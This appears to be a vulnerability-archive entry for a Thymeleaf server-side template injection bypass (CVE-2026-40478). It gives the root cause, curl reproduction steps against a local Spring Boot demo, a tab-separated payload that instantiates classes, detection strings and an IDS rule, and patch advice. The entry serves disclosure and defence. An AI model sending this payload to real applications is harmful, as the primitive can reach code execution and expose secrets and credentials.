Thymeleaf Expression Bypass to SSTI - CVE-2026-40478
Published: 2026-11-27 • Researcher: Brian Vermeer (Snyk), repo author; fix published by the Thymeleaf maintainers
- Severity
- Critical
- CVE
- CVE-2026-40478 / GHSA-xjw8-8c5c-9r79
- Category
- web
- Affected product
- Thymeleaf (server-side Java template engine), as used by Spring Boot web applications
- Affected versions
- 3.1.3.RELEASE and prior; fixed in 3.1.4.RELEASE. The bundled demo uses Spring Boot 3.4.13 with the Thymeleaf version it manages, so confirm the resolved version with mvn dependency:tree before testing.
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-40478
- https://github.com/thymeleaf/thymeleaf/security/advisories/GHSA-xjw8-8c5c-9r79
- https://access.redhat.com/errata/RHSA-2026:21772
- https://access.redhat.com/security/cve/CVE-2026-40478
- https://bugzilla.redhat.com/show_bug.cgi?id=2459349
- https://github.com/bmvermeer/thymeleaf.CVE_2026_40478
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-04-29 |
| Author / Researcher | Brian Vermeer (Snyk), repo author; fix published by the Thymeleaf maintainers |
| CVE / Advisory | CVE-2026-40478 / GHSA-xjw8-8c5c-9r79 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.0 (CVSSv3.1, per NVD record) |
| Status | PoC |
| Tags | Thymeleaf, Spring Boot, SSTI, expression injection, sandbox bypass, CWE-1336, CWE-917, Java, unauthenticated |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Thymeleaf (server-side Java template engine), as used by Spring Boot web applications |
| Versions Affected | 3.1.3.RELEASE and prior; fixed in 3.1.4.RELEASE. The bundled demo uses Spring Boot 3.4.13 with the Thymeleaf version it manages, so confirm the resolved version with mvn dependency:tree before testing. |
| Language / Platform | Java 21, Maven, Spring Boot 3.4.13, Thymeleaf Spring6 integration |
| Authentication Required | No (the demo endpoints are unauthenticated) |
| Network Access Required | Yes (HTTP GET with a query parameter) |
Summary
CVE-2026-40478 is a bypass of the expression restrictions that Thymeleaf added to stop server-side template injection. When an application concatenates unvalidated user input into a template string, specific syntax patterns survive the restriction checks, so expressions that should be neutralized are still executed. This repository is a self-contained Spring Boot reproducer with safe and unsafe endpoints that shows the difference between passing user input as a model variable and splicing it into the template source. On the unsafe endpoints the published payload instantiates a Spring class and opens a file stream, which demonstrates arbitrary object creation through the template engine.
Vulnerability Details
Root Cause
Thymeleaf evaluates template expressions with SpringEL when it is used from a Spring application. The library tries to confine this evaluation by rejecting dangerous constructs in restricted mode, but the check is syntactic and can be evaded by alternative token separators inside the expression. The demo payload separates the new operator from the class name with a tab character rather than a space, and that spelling passes the restriction logic while still being parsed as an object instantiation expression. The preprocessed form, where an expression is written inline between double brackets or inside an attribute value, is processed after the surrounding text is assembled, so once user input has been concatenated into the template source there is no distinction left between developer text and attacker text. The upstream controller shows exactly this mistake on both the attribute variant and the inlined variant.
Attack Vector
An unauthenticated HTTP GET to the unsafe endpoints with a crafted query parameter:
- /greet/unsafe?name=… builds the template text p th:text with the value concatenated inside an expression.
- /page/unsafe?page=… builds the template text as double-bracket expression and renders it in TEXT template mode.
The payload for both is an expression such as new
Impact
Server-side template injection in the application process. The demonstrated primitive is arbitrary class instantiation and method invocation on the classpath, which the reproducer uses to create an empty file in the working directory. In a real application the same primitive reaches command execution by instantiating a process class or a script engine available on the classpath, and it can read application configuration, secrets, and database credentials in the meantime. The CVE is scored 9.0 because the sink is equivalent to remote code execution wherever a suitable gadget class exists.
Environment / Lab Setup
OS: Any host with JDK 21 and Maven 3.8+
Target: The bundled demo application (Spring Boot 3.4.13 + Thymeleaf 3.1.3.RELEASE or earlier)
Attacker: curl, browser, or Burp Suite
Tools: JDK 21, Maven, curlSetup Steps
| |
The safe endpoints (/greet/safe and /page/safe) resolve a template name or pass the value as a model attribute and are not vulnerable; they exist for comparison.
Proof of Concept
Step-by-Step Reproduction
Start the demo - Run the Spring Boot application from this folder and confirm it answers on port 8080.
Check the safe baseline - The safe endpoint reflects the value without evaluating it as template syntax.
Shell script1curl "http://localhost:8080/greet/safe?name=World"Trigger the attribute variant - The name parameter is spliced into a th:text expression, so the injected tab-separated new expression is evaluated.
Shell script1curl "http://localhost:8080/greet/unsafe?name=new%09org.springframework.core.io.FileSystemResource('file1.test').getOutputStream()"Trigger the inlined variant - The same technique inside a double-bracket expression rendered in TEXT mode.
Shell script1curl "http://localhost:8080/page/unsafe?page=new%09org.springframework.core.io.FileSystemResource('file2.file').getOutputStream()"Confirm the sink - The engine instantiated the Spring resource class and called a method that opens a stream, which materialises the empty files.
Shell script1ls -l file1.test file2.file
Exploit Code
See
src/main/java/nl/brianvemeer/demo/thymeleaf/CVE_2026_40478/MyController.javafor the vulnerable endpoints andpom.xmlfor the dependency set.
| |
The attacker-controlled expression is the only part that changes between a benign request and the exploit:
new%09org.springframework.core.io.FileSystemResource('file1.test').getOutputStream()Expected Output
$ ls -l file1.test file2.file
-rw-r--r-- 1 user user 0 <date> file1.test
-rw-r--r-- 1 user user 0 <date> file2.fileThe response body is the rendered fragment from the template engine; success is confirmed by the files created in the process working directory, not by the HTTP status.
Detection & Indicators of Compromise
${
[[${
new org.springframework (tab between the new operator and a class name)
T(java.lang.Runtime) or ProcessBuilder inside a parameter value
__${ ... }__SIEM / IDS Rule (example):
alert http any any -> any any (msg:"Possible Thymeleaf CVE-2026-40478 SSTI probe"; flow:to_server,established; content:"%09"; http_uri; content:"org.springframework"; http_uri; reference:cve,2026-40478; sid:9004047;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade Thymeleaf to 3.1.4.RELEASE or later; Spring Boot users should move to a Boot release that manages the fixed version, and Red Hat consumers can track RHSA-2026:21772. |
| Workaround | Never concatenate request data into template source. Pass values as context variables and let the template reference them, as the safe endpoints in this reproducer do. |
| Config Hardening | Keep SpringEL restrictions enabled, avoid string template resolvers for user-facing rendering, and review code for StringTemplateResolver and process() calls that build template text from user input. |
References
Notes
Auto-prepared on 2026-11-27 from https://github.com/bmvermeer/thymeleaf.CVE_2026_40478 (stars 1, Spring Boot demo project).
Review verdict: ingested. This is a genuine reproducer rather than a scanner or a write-up: the controller really concatenates request input into template source, the dependency set really targets the vulnerable engine, and the README documents concrete exploit URLs whose payload instantiates a class and invokes a method. The safe endpoints alongside them make the vulnerable pattern unambiguous. It is a demonstration, not a weaponised tool, so it is marked PoC.
License: the upstream repository has no LICENSE file and no explicit license statement; copyright remains with the author. Attribution and the source URL are retained. The Maven wrapper scripts, gitignore, and the trivial context-load test were deliberately not copied because they are not exploit-relevant.
Limitations: the demo proves object instantiation and a file-stream sink by creating empty files; it does not include a command-execution gadget, so “RCE” here is the impact class described by the advisory rather than something the repo demonstrates end to end. The exact bypass token is a tab, which URL-encodes to %09 and must not be normalised away by a proxy or by curl. The Thymeleaf version is managed by the Spring Boot parent, so the vulnerable release must be verified from the dependency tree, and if the parent already manages 3.1.4.RELEASE the thymeleaf.version property has to be pinned back to 3.1.3.RELEASE to reproduce the behaviour. No exploit code was executed while preparing this entry.